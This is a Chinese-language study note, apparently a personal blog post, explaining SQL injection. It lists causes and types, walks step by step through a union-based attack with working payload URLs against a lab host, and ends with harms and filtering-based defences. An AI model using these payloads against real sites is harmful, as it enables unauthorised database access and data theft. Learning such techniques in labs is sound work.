基础漏洞——SQL注入原理和利用
目录
一.SQL注入原理(什么是SQL注入?)
二.什么原因导致Sql?
三.SQL注入分类
(1)基于注入点
(2)根据提交方式
(3)基于获取数据类型
四.SQL注入的实现过程(最基础的一种)
1.判断能否控制数据库------》判断有无sql注入
2.查看前语句查询得列数----》有4列 #orderby 4 ,指对第4列进行排序
3.联合查询----》找显示位置
4.联合查询----》找库名
5.联合查询----》找库名对应得表名
6.联合查询----》找库名对应得表名对应得字段名
7.查数据
五.sql注入的危害
六.sql注入的防御
一.SQL注入原理(什么是SQL注入?)
由于web应用程序对用户输入的数据的合法性没有进行判断或过滤不严,攻击者可以通过在查询语句后面加入额外的SQL语句,以此来实现欺骗数据库执行非授权的操作查询。
二.什么原因导致Sql?
(1)程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造 SQL语句
(2)未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中
三.SQL注入分类
(1)基于注入点
数据型
字符型
搜索型
(2)根据提交方式
GET
POST
Cookie
PUT
HTTP头
(3)基于获取数据类型
正常回显
报错注入
布尔盲注
时间盲注
堆叠注入
宽字节注入
四.SQL注入的实现过程(最基础的一种)
1.判断能否控制数据库------》判断有无sql注入
http://192.168.2.12/liyanban/03list.php?uid=4 and 0 //没有数据
http://192.168.2.12/liyanban/03list.php?uid=4 and 1 //有数据
解释:进入这个web页面url发现可以控制页面的显示
2.查看前语句查询得列数----》有4列 #orderby 4 ,指对第4列进行排序
http://192.168.2.12/liyanban/03list.php?uid=4 order by 4 //有数据 (orderby 排序)
http://192.168.2.12/liyanban/03list.php?uid=4 order by 5 //没有数据 或报错
http://192.168.2.12/liyanban/03list.php?uid=4 group by 4 //有数据
http://192.168.2.12/liyanban/03list.php?uid=4 group by 5 //没有数据
解释:接着通过这个web页面url发现可以通过order by或 group by函数产看这个也页面有几个列数。
3.联合查询----》找显示位置
http://192.168.2.12/liyanban/03list.php?uid=-4 union select 1,2,3,4
解释:接着通过这个web页面url发现可以通过联合查询,看显示的行数是哪几列
4.联合查询----》找库名
http://192.168.2.12/liyanban/03list.php?uid=-4 union select 1,2,3,group_concat(schema_name) from information_schema.schemata
解释:接着通过这个web页面url发现可以通过联合查询,看数据库的库民有哪些
5.联合查询----》找库名对应得表名
http://192.168.2.12/liyanban/03list.php?uid=-4 union select 1,2,3,group_concat(table_name) from information_schema.tables wheretable_schema='fya'
解释:接着通过这个web页面url发现可以通过联合查询,看具体数据库的表名有哪些。
6.联合查询----》找库名对应得表名对应得字段名
http://192.168.2.12/liyanban/03list.php?uid=-4 union select 1,2,3,group_concat(column_name) from information_schema.columns wheretable_schema='fya' and table_name = 'stu'
解释:接着通过这个web页面url发现可以通过联合查询,看具体数据库的具体表的有字段名有哪些。
7.查数据
http://192.168.2.12/liyanban/03list.php?uid=-4 union select 1,2,3,group_concat(concat_ws('==',uname,yw,yy)) from fya.t1
五.sql注入的危害
1.获取数据库中敏感信息
2.执行非授权的增删,篡改数据库的数据信息。
3.通过提权,远程操纵,再数据库上传恶意文件,留下后门。
六.sql注入的防御
1.基于攻击特征进行过滤。
2.对一些特定字符,如‘,“禁用或者过滤,或者实体化。
3.对一些特点的sql查询函数过滤或禁用。
4.限制输入字符的长度。
我个人学习总结的一篇笔记,希望能帮到你,可能后面会更新一些靶场或者真实的注入漏洞。